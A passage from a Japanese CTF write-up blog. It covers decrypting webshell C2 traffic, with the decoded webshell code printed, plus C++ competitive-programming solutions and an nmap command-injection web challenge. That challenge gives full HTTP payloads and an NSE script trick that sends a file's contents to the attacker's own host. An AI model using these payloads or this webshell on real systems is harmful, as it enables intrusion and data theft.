0Q+zQ6+BKOqCiJGAHhLyt/jz2d+47RBo4ADtfzwikaPuveBhfmQiJogrF+FqmSb/vIxDZJla0xxUYhhCQ6U2QJASe2clZFCZmlA/iI8j4xzmnipL6lUpBfR8gKo1u3eNHbJSy5gXx2e/KnjvbZrol2PpVz4Ydtk29uMpjkxuFbOfQ==";
$raw_data = base64_decode($input);
$first_half = substr($raw_data, 0, strpos($raw_data, "..."));
$second_half = substr($raw_data, strpos($raw_data, "...") + 3);
$private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}
echo $eval_code;

こんな感じでデコードすると以下が出てくる。

$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";
openssl_private_decrypt($ae25f0, $decrypted, $pvk1);
$result = `{$decrypted} 2>&1`;
$encrypted = "";
$chunks = str_split($result, 116);
foreach ($chunks as $chunk) {
    openssl_public_encrypt($chunk, $tmp, $pbk1);
    $encrypted .= base64_encode($tmp).",";
}
echo $encrypted;

前半部分の復号化処理がさらに実行される。
なので、最終的には以下のphpコードでC2コマンドの入力が復元可能。

<?php
$input = "hKcQ97ZRIWCFuhjPGSBBlcVUDRXHuWpKzVxF+iWYpfWMxm9PSM7dTIyDmgAqJtfrFqrP5FY9qm+3TpxFp5et8Gvvi8QWovN9kyyF0SX3g30zNlIDz4VshH1tB86zcgb3B3WDFlJ/+uF0SSa/M9BJ8F5qfWMAntfb9ER1CcEad8wuLi4wggJcAgEAAoGBALZnkIZBbQaCyIcrCi6A4SkexT/AJn5TwJ6ziXNZvGVfBfLD6FweWZQggep2dI7fPYPqn8BAmOg4/ILQzQt62jURLi2h9uxKnP8jyAG/A4I4iLhxFVxCfS2QW4qaVacmej6qYdXIl6NZs6dEOQFRG82nudrpfTLuLx8G1Vx4HVIRAgMBAAECgYBeEruvAj9AhGL3k3ME2ONHWd9RKcCwlnFZaC8TlsxbW86tjexg1iZNBxb53W3v4aLQTkll1esGmZ1hul6F9S5kISysag2LdPsZt9c3YpIHIkZ/1F2dV8tko9Q9MPxOk95ARLNdNcbwDptnasIJpZCKupzqBjF38rz7pUL03ceXgQJBANzoegBHft3iUVj8Jl2o8qPcVnggUvOnrdE6FGfZVT4crFpbEtzeYD71l/oK23dKHnWvoT12maJJGSOxLJxVCs0CQQDTYUoHpXLb3YdqU8UhLSotn/IJsykEXHa5ba2o3thrgo/OVScR/HmIz7T2IOfO1dzrFvmaXfx0CJKQcbptG6xVAkEAztvfCo3ojewUksgjQQcolyqHyhsysjjtOgQyAYDxIqWE+2NXCX4vECW4N4udMVo1paxdx4lcmivrH5IUHRxBbQJAH0Q+zQ6+BKOqCiJGAHhLyt/jz2d+47RBo4ADtfzwikaPuveBhfmQiJogrF+FqmSb/vIxDZJla0xxUYhhCQ6U2QJASe2clZFCZmlA/iI8j4xzmnipL6lUpBfR8gKo1u3eNHbJSy5gXx2e/KnjvbZrol2PpVz4Ydtk29uMpjkxuFbOfQ==";
$raw_data = base64_decode($input);
$first_half = substr($raw_data, 0, strpos($raw_data, "..."));
$second_half = substr($raw_data, strpos($raw_data, "...") + 3);
$private_key = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($second_half), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
$encoded = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}

$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";

openssl_private_decrypt($first_half, $decrypted, $pvk1);
echo $decrypted;

これで通信を復号化していくと、tcp.stream eq 110の入力にフラグが含まれていた。
echo 'SEKAI{h4rd_2_d3t3ct_w3bsh3ll}'

[PPC] Purple Sheep And The Apple Rush

N頂点の無向木が与えられる。
頂点毎にパラメタL[i]が与えられるが、葉かそうでないかで意味合いが異なる。
葉であれば、L[i]は隠された金のリンゴの数を指し、最初に訪れた時点でその金のリンゴをすべて得ることができる
葉でなければ、金のリンゴ1個で、その町の「通行券」が帰る。その通行券にはL[i]の数が書かれていて、葉でない町を訪れるたびにL[i]個の金のリンゴを支払う必要がある。
なお、この「通行券」は金のリンゴ1個で買い替えることが可能。
各町について、その町を始点として任意の葉まで遷移可能な町を任意回数移動したときの「支払ったリンゴ - 得たリンゴ」の最小値をそれぞれ答えよ。
移動のパスの途中で葉は選択できず、パスの最後のみ葉が許される。
(このルールだと、葉が始点であれば通行券は買えないので、移動できず金のリンゴを回収して終了となる)

dp[cu] := 町cuからスタートしたとしたときの「支払ったリンゴ - 得たリンゴ」の最小値

まずは、葉についてすべて更新しておく。
dp[cu] = -L[cu]
戦略を考えると使えそうな性質が出てくる。
通行券を取り替えるというのが戦略の1つになってくるが、通行券を取り換える選択をするのは、「書かれている値が小さい通行券の場合のみ」である。
書かれている値が同じ、もしくは、大きい通行券に変更するメリットが見当たらない。
なので、町cuで通行券を買った場合に、取りうる選択肢としては、葉に向かうか、通行券に書かれている値のより小さい町toに向かって通行券を買い替えるかの二択になる。
これを使うと、dpが更新可能。

dp[cu] = min{to:= 町cuよりも通行券に書かれている値が小さい町to}{1LL + (町cuと町toの距離) * L[cu] + dp[to]}

町toで通行券を買い替えた後の最適な動きは町toからスタートした状況と全く同じであるため、それ以降の計算が既に実施されていればdpによってメモ化された結果を再利用することができる。
葉のdp計算を実施した後の頂点はL[i]が小さい順に行えば、全ての計算結果がメモ化されていることになり、dpとして適切に計算ができる。
…ということが言いたいのが上の式。

(町cuと町toの距離)の部分を高速に計算できるように前計算しておく必要がある。
自分はHL分解のライブラリにその機能があるので流用したが、LCAとダブリングでやってもいいし、
今回はO(N2)が通りそうなので、事前に幅優先探索しても間に合う気もする。(未確認)

あと、自分の実装では正確には「to:= 町cuよりも通行券に書かれている値が小さいか同じ町to」
という感じの実装になっていて少し効率が悪いが、最終結果には影響がない。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
struct HLDecomposition {
    vector<set<int>> g; vector<int> vid, head, heavy, parent, depth, inv, in, out;
    HLDecomposition() {} HLDecomposition(int n) { init(n); }
    void init(int n) {
        g.resize(n); vid.resize(n, -1); head.resize(n); heavy.resize(n, -1);
        parent.resize(n); depth.resize(n); inv.resize(n); in.resize(n); out.resize(n);
    }
    void add(int u, int v) { g[u].insert(v); g[v].insert(u); } void build() { dfs(0, -1); t = 0; dfs_hld(); }

    int dfs(int curr, int prev) {
        parent[curr] = prev; int sub = 1, max_sub = 0;
        heavy[curr] = -1;
        for (int next : g[curr]) if (next != prev) {
            depth[next] = depth[curr] + 1;
            int sub_next = dfs(next, curr); sub += sub_next;
            if (max_sub < sub_next) max_sub = sub_next, heavy[curr] = next;
        }return sub;
    }

    int t = 0;
    void dfs_hld(int v = 0)
    {
        vid[v] = in[v] = t;
        t++;
        inv[in[v]] = v;
        if (0 <= heavy[v]) {
            head[heavy[v]] = head[v];
            dfs_hld(heavy[v]);
        }
        for (auto u : g[v]) if(depth[v] < depth[u])  if (u != heavy[v]) {
            head[u] = u;
            dfs_hld(u);
        }
        out[v] = t;
    }


    void foreach(int u, int v, function<void(int, int)> f) { // [x,y]
        if (vid[u] > vid[v]) swap(u, v); f(max(vid[head[v]], vid[u]), vid[v]);
        if (head[u] != head[v]) foreach(u, parent[head[v]], f);
    }
    int ancestor(int from, int times) {
        while (true) {
            if (depth[head[from]] > depth[from] - times) {
                times -= depth[from] - depth[head[from]] + 1; if (head[from] == 0)return -1; from = parent[head[from]];
            }
            else return inv[vid[from] - times];
        }
    }
    int lca(int u, int v) {
        if (vid[u] > vid[v]) swap(u, v); if (head[u] == head[v]) return u;
        return lca(u, parent[head[v]]);
    }
    int distance(int u, int v) { return depth[u] + depth[v] - 2 * depth[lca(u, v)]; }
    int child(int parent, int child, int times) {
        assert(depth[parent]<depth[child]);
        int d = distance(parent, child); assert(times - 1 <= d); return ancestor(child, d - times);
    }
    int go(int from, int to, int times) {
        int d = distance(from, to); assert(0 <= times and times <= d);
        int lc = lca(from, to); if (lc == to)return ancestor(from, times); if (lc == from)return child(from, to, times);
        int dd = distance(from, lc); if (dd <= times)return go(lc, to, times - dd); return ancestor(from, times);
    }
};
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/






int N;
ll L[4010];
ll dp[4010];
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> L[i];

    HLDecomposition hld(N);
    rep(i, 0, N - 1) {
        int a, b; cin >> a >> b;
        a--; b--;
        hld.add(a, b);
    }
    hld.build();

    vector<int> done;
    vector<pair<ll,int>> order;
    rep(i, 0, N) {
        if(hld.g[i].size() == 1) {
            done.push_back(i);
            dp[i] = -L[i];
        } else {
            order.push_back(make_pair(L[i], i));
        }
    }
    sort(all(order));
    fore(p, order) {
        ll l = p.first;
        int cu = p.second;

        dp[cu] = infl;
        fore(to, done) chmin(dp[cu], 1LL + hld.distance(cu, to) * L[cu] + dp[to]);
        done.push_back(cu);
    }
    rep(i, 0, N) {
        if(i) printf(" ");
        printf("%lld", dp[i]);
    }
    printf("\n");
}

[PPC] Wiki Game

有向グラフが与えられて始点となる頂点から終点となる頂点へ6回以下の遷移で移動可能ならYESで、そうでないならNOと答える。
幅優先探索で、最短距離を特定可能。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/

int n, m;
vector<int> E[1010];
int src, dst;

int minimum[1010];

#define YES "YES"
#define NO "NO"
string solve() {
    cin >> n >> m;
    rep(i, 0, n) E[i].clear();
    rep(i, 0, m) {
        int u, v; cin >> u >> v;
        E[u].push_back(v);
    }
    cin >> src >> dst;

    rep(i, 0, n) minimum[i] = inf;

    queue<int> que;
    que.push(src);
    minimum[src] = 0;
    while(!que.empty()) {
        int cu = que.front();
        que.pop();

        fore(to, E[cu]) if(minimum[to] == inf) {
            minimum[to] = minimum[cu] + 1;
            que.push(to);
        }
    }

    return minimum[dst] <= 6 ? YES : NO;
}

void _main() {
    int T; cin >> T;
    rep(t, 0, T) cout << solve() << endl;
}

[Web] Scanner Service

以下の部分が攻撃対象のメインの処理。

  post '/' do
    input_service = escape_shell_input(params[:service])
    hostname, port = input_service.split ':', 2
    begin
      if valid_ip? hostname and valid_port? port
        # Service up?
        s = TCPSocket.new(hostname, port.to_i)
        s.close
        # Assuming valid ip and port, this should be fine
        @scan_result = IO.popen("nmap -p #{port} #{hostname}").read
      else
        @scan_result = "Invalid input detected, aborting scan!"
      end
    rescue Errno::ECONNREFUSED
      @scan_result = "Connection refused on #{hostname}:#{port}"
    rescue => e
      @scan_result = e.message
    end

    erb :'index'
  end

POST /で入力したhostnameとportがpopenに埋め込まれて実行される。
コマンドインジェクションをする問題。
以下のような制約が付いている。

nmapのオプションに色々差し込んでやるんだろうと想像して、RCEとLFIの両方の方向性で考える。
フラグが以下のように、RCEしないといけないようにランダム列がくっついているが、
シェルの補完機能が使えそうな場面では/flag-????????????????????????????????.txtとすればいい。

RUN mv /flag.txt /flag-$(head -n 1000 /dev/random | md5sum | head -c 32).txt

まず、色々実験するとタブが空白の代わりに機能することが分かる。
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-without-space

これで空白が実質使えるようになったので自由にnmapのオプションを差し込むことができるようになった。
それをもとにいろいろやると、配布されたDockerfileを使って起動した手元の環境では以下のようにするとフラグが得られた。

  1. nmap -i /flag-????????????????????????????????.txt -oN /app/public/stylesheets/flagを動かす感じで以下のように差し込む。
    -iでファイルを読み込むが失敗して出力に出てくるがその先が標準エラー出力で読めないので、-oNでpublicな所に吐き出している
POST / HTTP/1.1
Host: localhost:4444
Content-Length: 191
Content-Type: application/x-www-form-urlencoded
Connection: close

service=127.0.0.1%3a1337%09-i%09%2fflag-%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f.txt%09-oN%09%2fapp%2fpublic%2fstylesheets%2fflag%09%23
  1. GET /stylesheets/flagでフラグが得られる

が、本番でやってみると動かない…
書き込み先に制限がかかっている雰囲気がある。

しょうがないので、別の経路を探すかーとやっているとNSEが思いついた。
nmapでプラグイン的にスクリプトを動かす機能。
パスワードの総当たり攻撃ができたりするので、その辞書に該当ファイルを渡せば外部にそれを移せるのでは?という作戦。

nmap -p 80 --script http-brute --script-args passdb=/flag-80ec2f3fd73d2a2ec00c11824062ee31.txt [my-ip]

こんな感じにするとフラグが得られたが、この方法だと、/flag-????????????????????????????????.txtが使えない。
うーーーーんと思ってやけくそに以下のようにやってみると、標準出力にフラグが出てきた。

nmap -p 80 --script http-brute --script-args-file /flag-80ec2f3fd73d2a2ec00c11824062ee31.txt [my-ip]

おっ、と思い本番で以下を実行するとフラグ獲得できた。

POST / HTTP/1.1
Host: [REDACTED]:[REDACTED]
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
Connection: close

service=127.0.0.1%3a1337%09--script%09http-brute%09--script-args-file%09%2fflag-%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f.txt%09%23

フラグの中身を見るとRCEできる想定解があるっぽい。
開始してから半日立っていないのに50 solves以上あったので、もっと直接的な(シンプルな)RCEの方法があるんだろうと思っていたが…
これはコンテスト後の楽しみとしておこう。

CYBERGON CTF 2023 Writeups

[stegano] Warm Up 1

exiftoolの情報から得られるCreate Dateを答える。

$ exiftool IMG_6380.HEIC 
...
Create Date                     : 2023:07:31 10:14:57.296+07:00

[stegano] Catch Me If You Can

拡張子がgifだが開けないファイルが与えられる。
ちゃんと開けるgifファイルとバイナリエディタで見比べてみる。

$ hd Stegano1.gif | head
00000000  39 61 f4 01 f4 01 f7 00  00 03 03 03 7f 81 80 92  |9a..............|
00000010  94 93 94 d1 ec 2f c1 ed  5b ba e2 cb cd cd 5e cb  |...../..[.....^.|
00000020  f3 ca e9 f5 43 b9 e6 97  e5 f3 ea ed ec 3d 40 40  |....C........=@@|
00000030  c6 ca c9 7e cf e2 43 c8  e5 7a c5 e4 ca f4 fa 5b  |...~..C..z.....[|
00000040  c1 e2 93 db ee ef f5 f2  43 be e4 7d db e9 b3 e7  |........C..}....|
00000050  f8 6b c2 e6 df e3 e2 5e  60 60 1e 21 21 a2 de f3  |.k.....^``.!!...|
00000060  37 bb f2 fc f6 e7 ad af  af 8c d0 eb b5 f1 f9 37  |7..............7|
00000070  c1 e3 53 c2 e5 6b ce e2  5a c4 f0 51 b9 e2 7b d1  |..S..k..Z..Q..{.|
00000080  f5 45 cf f2 2f 31 31 dc  f7 fa ec fd ee 6f 71 71  |.E../11......oqq|
00000090  d6 da d9 ce ef f7 97 e0  f3 c4 e9 f6 da f1 f5 4e  |...............N|

$ hd sachiko.gif | head
